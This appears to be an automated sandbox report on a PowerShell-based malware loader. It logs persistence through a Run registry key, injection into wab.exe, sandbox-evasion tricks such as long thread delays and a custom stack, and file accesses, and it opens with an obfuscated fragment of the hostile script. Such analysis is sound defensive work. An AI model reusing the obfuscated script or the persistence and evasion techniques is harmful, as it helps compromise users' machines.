Tvan/F.rfcEole o v$.eldF UnmltegmaMut.gParckVetenEgetaItc pCons)Korr ');Oncogenes (Oktantals ',epr$ordsg evelCanioLevub ela,nrilAndr: Balg oinaRekrwtudskPartiUndihRe,soBl,doScatdAort=Brev$ GenuTiturAntetPreseBrans MacuomfapElskpLflaerestrV va.FirlsmisppHelslneuti tyvtScra(Vege$ MjeDRe.uvExtreSc,elbudgrUndeeKapirBe.eePe isF.ed)S,dh ');Oncogenes (Oktantals 'Kono[civiNAffleS.lvtGabi.TenoSTor eRyonrStrevNe kiZy,oc Auge M,sP FakoKariiEkphncr,ttAvenM Me.aAssunTimea impgDetae pndrAfd ]Pist: Sli:st.rSEn oe strcWichuKontr Pr.i Af,tG oby UfoP tilrDatao Hayt Bleo Ba.cTeleo EnelSkri Fo r=Stop Udd[Ba.	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_042529E3 push cs; ret	5_2_042529EA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_042534C7 push eax; retf	5_2_042534D1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_0425B8E0 push eax; iretd	5_2_0425B8E1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_0715100A push eax; mov dword ptr [esp], ecx	5_2_0715120C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07151200 push eax; mov dword ptr [esp], ecx	5_2_0715120C
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_3_08C309C4 push es; ret	10_3_08C30A2E
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_3_08C339CC push es; ret	10_3_08C33A36
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_3_08C3089F push cs; retf	10_3_08C308A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_3_08C338A7 push cs; retf	10_3_08C338A8
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_3_08C365AB push cs; retf	10_3_08C365AC
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_3_08C35CAD push cs; retf	10_3_08C35CAE
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_3_08C30377 push cs; iretd	10_3_08C30378
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_3_08C3337F push cs; iretd	10_3_08C33380
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_3_08C31413 push es; retf	10_3_08C31414
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_3_08C3441B push es; retf	10_3_08C3441C
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_24A11FEC push eax; iretd	10_2_24A11FED
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_24A127FA pushad ; ret	10_2_24A127F9
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_24A19939 push es; iretd	10_2_24A19940
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_24A1283D push eax; iretd	10_2_24A12858
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_24A1B008 push es; iretd	10_2_24A1B009
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_24A1225F pushad ; ret	10_2_24A127F9

Source: C:\Windows\SysWOW64\reg.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Scleroconjunctival			Jump to behavior
Source: C:\Windows\SysWOW64\reg.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Scleroconjunctival			Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Program Files (x86)\Windows Mail\wab.exe

API/Special instruction interceptor: Address: 84A9764

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4898	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4983	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5605	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4171	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Window / User API: threadDelayed 605	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1260	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6576	Thread sleep count: 5605 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6576	Thread sleep count: 4171 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6572	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 1888	Thread sleep count: 605 > 30	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior
